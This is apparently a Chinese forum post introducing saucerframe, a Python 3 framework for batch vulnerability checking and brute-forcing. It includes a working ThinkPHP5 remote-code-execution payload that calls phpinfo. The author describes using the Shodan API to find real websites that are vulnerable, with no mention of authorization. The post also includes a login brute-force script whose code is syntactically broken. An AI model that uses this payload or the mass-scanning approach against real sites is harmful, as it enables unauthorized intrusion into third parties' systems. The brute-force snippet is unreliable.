前言

当某框架爆出了存在某些漏洞,或者发现了某个0day时,一般我们的想法是在shodan、google上搜一搜,看看有没有中招的网站,但是这样是不是太慢了,于是就打算写一个通用脚本来批量寻找目标。

搜集了很多开源工具,但是全部都是python2的,于是就想写一个基于python3的框架来批量采集目标并且检验漏洞。

github地址:https://github.com/saucer-man/saucerframe

接下来就以最近很火的thinkphp5远程代码执行漏洞为例来说明这款工具如何使用。关于thinkphp5远程代码执行漏洞可以参考https://bbs.ichunqiu.com/thread-48687-1-1.html

saucerframe

saucerframe是一个基于python3的开源渗透测试框架,支持多线程并发,支持多种指定目标方式,可用于爆破|批量POC。使用框架只需要指定目标漏洞检测poc代码

指定目标支持以下几种方式

  • 指定单个目标
  • 从文本种获取目标
  • 某一网段获取目标 e.g. 192.168.1.0/24
  • 某一ip段获取目标 192.168.1.0-192.168.2.33
  • 支持多种api批量获取目标: Google、Shodan、Zoomeye、Fofa

接下来我们根据thinkphp5远程代码执行漏洞来写一个检测的poc。我们可以利用查看phpinfo的payload页面是否正常返回了phpinfo。如果返回了那么页面中一定存在PHP Version

根据这个特性编写的简易的poc如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import requests

def poc(domain_url):
    try:
        if "http" not in domain_url:
            domain_url = "http://" + domain_url

        # 这是payload
        payload= r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

        headers = {
            "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50",
        }
        r = requests.get(domain_url + payload, headers=headers,verify=False, timeout =10,allow_redirects=False)
        if "PHP Version" in r.text: # 如果存在漏洞,则返回1
            return 1
        else: # 不存在漏洞,则返回0
            return 0
    except Exception as e:
        return 0

saucerframe的poc编写很简单,其基本逻辑是:

  • 当验证通过(存在漏洞)返回1
  • 验证不通过(不存在漏洞)返回0
  • 需要再检验一次(比如发生了网络连接错误)则返回2。
    (也可以返回其他内容,如果返回其他内容,则将返回内容显示在页面上)

然后我们将其放入/script/文件夹下,利用shodan api搜索关键词thinkphp5来搜索一下有哪些网站中招了。
结果:

可以看出影响范围还是比较大的,然后实际去检验一下,未发现误报的情况。

关于其命令参数,还可以指定线程,指定输出文件等。具体命令参数可以参考github。

POC编写

通过以上的例子可以看出poc编写很简单,实际上还可以用来爆破等其他用处,比如爆破脚本:

def poc(target_password):
    url = 'http://xxx.com/login.php?pass=' + target_password
    try:
        r = requests.get(url)
        if 'success' in r.text:
            return True  # 验证成功,屏幕结果输出为123456
            # return url   # 返回其他字符串,屏幕结果输出为"http://xxx.com/login.php?pass=123456"
            else
        return False # 验证失败,无输出
        # return 0     # 同上
    except ConnectionError:
        return 2     # 把target_url再次加入任务队列重新验证(本次验证作废)

相比于手工快很多,只需要编写poc即可,目前poc库还很少(只有昨晚上写的一个。。),欢迎一起开发poc或者改进框架。因为刚刚写完框架就拿来测试了,可能还有些bug,大佬轻喷。

点击收藏 | 1 关注 | 1
登录 后跟帖